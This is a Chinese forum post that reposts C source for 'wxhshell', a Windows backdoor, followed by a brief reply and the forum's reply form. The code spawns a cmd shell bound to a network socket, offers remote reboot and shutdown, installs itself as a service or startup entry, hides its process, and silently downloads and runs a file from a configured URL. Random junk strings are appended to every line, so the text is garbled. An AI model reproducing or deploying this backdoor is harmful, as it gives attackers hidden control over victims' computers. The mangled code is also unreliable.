  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+xB7w  
  else '#.#$8l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9AQxNbs  
  } r@kP*  
  else { E=$p^s  
2YlH}fnH  
    switch(cmd[0]) { x`%JI=q  
  S\=1_LDx"  
  // 帮助 b?T  
  case '?': { oyvKa g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n}?wVfEy  
    break; Gh\q^?}  
  } GpI!J}~m  
  // 安装 KC#/Z2A|<  
  case 'i': { c{Ou^.yR  
    if(Install()) xfFg,9w8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ba@ctkCW  
    else %IY``r)j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k~.&j"K  
    break; [{ ~TcT  
    } t9cl"F=  
  // 卸载 ; )Eo7?]-  
  case 'r': { F_H82BE+3  
    if(Uninstall()) 4(8xjL:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A/}W&bnluD  
    else yZ kyC'/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y*23$fj(  
    break; k{I 01  
    } [yS#O\$'e  
  // 显示 wxhshell 所在路径 \ck+GW4&  
  case 'p': { U;q];e:,=}  
    char svExeFile[MAX_PATH]; ~xLJe`"JUx  
    strcpy(svExeFile,"\n\r"); t#i,1aHA  
      strcat(svExeFile,ExeFile); n6<V+G)T  
        send(wsh,svExeFile,strlen(svExeFile),0); SUM4Di7  
    break; .@F]Pht  
    } = ieag7!  
  // 重启 ~j9O$s~)  
  case 'b': { $I9qgDJ)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &--ej|n  
    if(Boot(REBOOT)) )#iq4@)|g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UVQ7L9%?f  
    else { cyM-)r@YQV  
    closesocket(wsh); kgi>} %  
    ExitThread(0); [U/(<?F{(  
    } ;j8 )KC  
    break; |r%D\EB  
    } OEx^3z^  
  // 关机 hC <O`|lF  
  case 'd': { cLVeT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :'iYxhM.V  
    if(Boot(SHUTDOWN)) OTDg5:>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H1n1-!%d  
    else { NMOut@  
    closesocket(wsh); JM- t<.  
    ExitThread(0); \>QF(J [8  
    } GL{57  
    break; /3B $(  
    } re?s.djT  
  // 获取shell }a AH  
  case 's': { ig}A9j?]  
    CmdShell(wsh); NKb1LbnZ*y  
    closesocket(wsh); \*f;Xaa  
    ExitThread(0); %ru;;h  
    break; ,\2:/>2  
  }  Q6'x\  
  // 退出 rgmF:C  
  case 'x': { XxIHoX&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3jB$2:#  
    CloseIt(wsh); { FZ=olZ  
    break; 3psU?8(  
    } 3I\n_V<  
  // 离开 7\FXz'hA  
  case 'q': { V-'K6mn;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G)v #+4  
    closesocket(wsh); W6H,6v  
    WSACleanup(); ~w8JH2O  
    exit(1); sm[94,26  
    break; ';Zi@f"  
        } z4M9M7)"  
  } ?;/^Ya1;Z  
  } p~ HW5\4  
evkH05+;W  
  // 提示信息 Urr#N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X3'H `/  
} h.O$]:N  
  } $un?0S  
Um#Wu]i  
  return; PxH72hBS  
} `\Hf]b  
w2_bd7Wp<  
// shell模块句柄 b)(?qfXWP  
int CmdShell(SOCKET sock) ?v>ET2wD  
{ M9zfT !-  
STARTUPINFO si; {pM?5"M MJ  
ZeroMemory(&si,sizeof(si)); 7$h#OV*@,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V,rq0xW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3gd&i  
PROCESS_INFORMATION ProcessInfo; OO[F E3F  
char cmdline[]="cmd"; -'~ LjA(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b#7{{@H  
  return 0; S26MDLk`R3  
} ~/.7l8)  
Vz6Qxd{m3  
// 自身启动模式 aaD;jxT&M|  
int StartFromService(void) Reatd h  
{ S[WG$  
typedef struct &gzCteS  
{ e[hcJz!D  
  DWORD ExitStatus;  Yn8=  
  DWORD PebBaseAddress; C z\Ppq  
  DWORD AffinityMask; ~ vqa7~}m  
  DWORD BasePriority; R<OI1,..r  
  ULONG UniqueProcessId; 4Y[1aQ(%  
  ULONG InheritedFromUniqueProcessId; (}}S9 K  
}   PROCESS_BASIC_INFORMATION; 5mb]Q)f9-  
EkziAON  
PROCNTQSIP NtQueryInformationProcess; jH_JmYd  
$56,$K`H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xyI}y(CN1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /7gOSwY  
q$=#A7H>3)  
  HANDLE             hProcess; ?lP':'P  
  PROCESS_BASIC_INFORMATION pbi; E*+{t~  
XQw>EZdj_N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L|p Z$HB  
  if(NULL == hInst ) return 0; y*X_T,K 8  
VkZ7#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nqLA}u4IM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }iuWAFZbGS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j_Yp>=+[  
BCA&mi3q  
  if (!NtQueryInformationProcess) return 0; fkac_X$7  
o}ZdTf=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YpqrZWvh  
  if(!hProcess) return 0; i>(e}<i  
wiiCd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ti#7(^j  
-\C!I  
  CloseHandle(hProcess); EY tQw(!Q  
f k&8]tK4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^pUHKXihD  
if(hProcess==NULL) return 0; >p"c>V& 8  
U*) 8G  
HMODULE hMod; <u2}i<#  
char procName[255]; NU0g07"  
unsigned long cbNeeded; F]<Xv"  
o_~eg8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?nL.w  
d@qsdYu-*  
  CloseHandle(hProcess); >D4# y  
d QqK^#  
if(strstr(procName,"services")) return 1; // 以服务启动 Oeok ;:  
`^)jLuyu  
  return 0; // 注册表启动 9E6_]8rl  
} `E>1>'  
Ig f&l`\  
// 主模块 RN e^; B  
int StartWxhshell(LPSTR lpCmdLine) 76`8=!]R  
{ }9FSO9*&}  
  SOCKET wsl; @<elq'2  
BOOL val=TRUE; Fx2bwut.K  
  int port=0; yPal<c  
  struct sockaddr_in door; 3qf Ym}d  
r[*Vqcz  
  if(wscfg.ws_autoins) Install(); <_-hRbS  
X<I+&Zi  
port=atoi(lpCmdLine); /#)/;  
xsD($_  
if(port<=0) port=wscfg.ws_port; j-lfMEa$o  
%4gg@Z9  
  WSADATA data; ;'cN<x)% |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VcXq?f>\  
()6wvu}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >7QvK3S4%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =Lf,?"S  
  door.sin_family = AF_INET; r/u A.Aou^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vwxXgk  
  door.sin_port = htons(port); GJ_7h_4  
QD0"rxZJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?M\{&mlF  
closesocket(wsl); ]d! UJ&<?  
return 1; ~=uWD&5B4  
} ,Vt/(x-  
K/|Z$4S  
  if(listen(wsl,2) == INVALID_SOCKET) { x$6^R q>2  
closesocket(wsl); vzim<;i  
return 1; 2h5nMI]'  
} !:q/Ye3.  
  Wxhshell(wsl); t%E!o0+8Z  
  WSACleanup(); sTn<#l6  
hHV";bk  
return 0; e,W%uH>X  
V3^&oe%  
} "eB$k40-  
uM_wjP  
// 以NT服务方式启动 @`q:IIgW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EK6:~  
{ Bu#VMk chJ  
DWORD   status = 0; wAf\|{Vn  
  DWORD   specificError = 0xfffffff; qVH1}9_  
.\)U@L~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NQJq6S4@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [OC5l>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E2R&[Q"%  
  serviceStatus.dwWin32ExitCode     = 0; 6ZP(E^.  
  serviceStatus.dwServiceSpecificExitCode = 0; LG9+y  
  serviceStatus.dwCheckPoint       = 0; l1BtI_7p  
  serviceStatus.dwWaitHint       = 0; {>hC~L?6  
W3MJr&p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xMTKf+7  
  if (hServiceStatusHandle==0) return; ,(EO'T[  
`p2+&&]S  
status = GetLastError(); \hDlTp }  
  if (status!=NO_ERROR) H4:`6 PSL  
{ |}=acc/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /|C*  
    serviceStatus.dwCheckPoint       = 0; -zOdU}91Ao  
    serviceStatus.dwWaitHint       = 0; bk;?9%TW  
    serviceStatus.dwWin32ExitCode     = status; H[,i{dD  
    serviceStatus.dwServiceSpecificExitCode = specificError; f4 P8Oz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I|gB@|_~  
    return; &$`P,i 1)  
  } F\KjEl0  
vq(0OPj8r[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aX)I3^ar  
  serviceStatus.dwCheckPoint       = 0; ,JAx ?Xb  
  serviceStatus.dwWaitHint       = 0; 6-$jkto  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pwL ;A3$|  
} cW@Zd5&0S  
+ElfZ4  
// 处理NT服务事件,比如:启动、停止 hT`J1nNt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O}-jCW;K  
{ zzTfYf)  
switch(fdwControl) e2s]{obf  
{ u0|8Tgf  
case SERVICE_CONTROL_STOP: }B\a<0L/  
  serviceStatus.dwWin32ExitCode = 0; X' H[7 ^W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RJ  8+h  
  serviceStatus.dwCheckPoint   = 0; dCi?SIN  
  serviceStatus.dwWaitHint     = 0; $'BSH4~|.  
  { I*{4rDt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + jc!5i .  
  } Q=;U@k@>  
  return; &"f";  
case SERVICE_CONTROL_PAUSE: n}F&1Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3!XjtVhK?I  
  break; $q6BP'7  
case SERVICE_CONTROL_CONTINUE: 7K,-01-:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )h"<\%LU  
  break; 8!O5quEc  
case SERVICE_CONTROL_INTERROGATE: uwzvbgup?  
  break; [$0p+1  
}; g!@<n1 L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -JMdE_h  
} {XR6>]  
x+ Ttl4  
// 标准应用程序主函数 H?<N.Dq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C'\- @/  
{ k1w_[w [  
6& e3Nt  
// 获取操作系统版本 4|buk]9  
OsIsNt=GetOsVer(); >7lx=T x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 60P#,o@G  
[#-b8Cu  
  // 从命令行安装 XewVcRo  
  if(strpbrk(lpCmdLine,"iI")) Install(); g7}Gip}.>  
mHV%I@`Y6  
  // 下载执行文件 CtyoHvw+M  
if(wscfg.ws_downexe) { ciBP7>'::  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h`KFL/fT  
  WinExec(wscfg.ws_filenam,SW_HIDE); hn5h\M?  
} Zn&, t &z  
K0-ypU*P  
if(!OsIsNt) { HePUWL'  
// 如果时win9x,隐藏进程并且设置为注册表启动 >80;8\  
HideProc(); HW3 }uP\c  
StartWxhshell(lpCmdLine); c`J.Tm[_u  
} <sWprR  
else h1B? 8pD  
  if(StartFromService()) qaiNz S@q  
  // 以服务方式启动 &+Z,hs9%  
  StartServiceCtrlDispatcher(DispatchTable); !\zWF  
else jN{Xfjmfv  
  // 普通方式启动 LPZF)@|`  
  StartWxhshell(lpCmdLine); V=R 3)GC  
P\yDa*m  
return 0; {P*pk c  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八